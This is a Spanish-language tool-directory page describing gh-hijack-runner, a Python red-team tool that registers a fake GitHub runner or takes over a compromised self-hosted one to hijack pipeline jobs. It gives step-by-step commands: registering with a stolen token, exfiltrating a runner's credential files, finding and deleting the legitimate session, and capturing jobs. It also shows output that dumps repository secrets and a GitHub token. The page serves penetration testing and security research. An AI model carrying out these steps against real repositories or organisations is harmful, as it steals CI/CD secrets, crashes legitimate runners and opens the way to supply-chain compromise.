Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
gh-hijack-runner — Un script de Python para crear un runner falso de GitHub y secuestrar trabajos de pipeline para filtrar secretos de CI/CD. | Kitploit
Herramientas/GitHubGitHub/synacktiv/gh-hijack-runner
ExplotaciónExfiltración de DatosPruebas de PenetraciónSeguridad en la NubeSeguridad de Cadena de SuministroRed Teaming
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

Un script de Python para crear un runner falso de GitHub y secuestrar trabajos de pipeline para filtrar secretos de CI/CD.

Ver Repositorio
335hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

gh-hijack-runner

Un script en Python para crear un runner falso de GitHub y secuestrar trabajos de pipeline para filtrar secretos de CI/CD.

Descubre más detalles en el siguiente artículo: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

Explotación

Si puedes obtener un token de registro o lograr ejecución remota de código en un runner auto-alojado de GitHub, puedes crear o tomar el control de un runner de GitHub. Esto te permitirá acceder a todos los secretos que se pasan a ese runner.

Usando un token de registro, puedes registrar un runner etiquetado como ubuntu-latest, obteniendo acceso a trabajos originalmente destinados a runners aprovisionados por GitHub. Esto te permite comprometer cualquier flujo de trabajo que utilice este método.

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Instalación

root@kitploit:~
$ pip install -r requirements.txt 

Uso

Desde un token de registro

Si consigues un token de registro para inscribir un runner auto-alojado para un repositorio o una organización, puedes registrar el runner falso de GitHub con este comando:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

Este puede ser un token de registro de organización o de repositorio.

Desde las credenciales de un runner de GitHub existente

Con ejecución arbitraria de código en un runner auto-alojado, necesitas exfiltrar tres archivos para asumir la identidad del runner comprometido:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

Para obtener trabajos, el runner establecerá una sesión con GitHub. Cada runner solo puede mantener una sesión. Para crear una nueva sesión, necesitas eliminar la sesión actual establecida por el runner legítimo. El ID de sesión se puede encontrar aquí:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ Eliminar la sesión actual provocará que el runner legítimo se bloquee /!\

Luego, puedes eliminar la sesión actual:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

Finalmente puedes secuestrar este runner:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Ten en cuenta que para runners auto-alojados efímeros esto no funcionará.

Ayuda

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

Créditos

  • @karimpwnz por la parte de crypto
  • @0xn3va por la parte de eliminación de sesión
  • @frichette_n por la idea original en GitLab
Descargar herramienta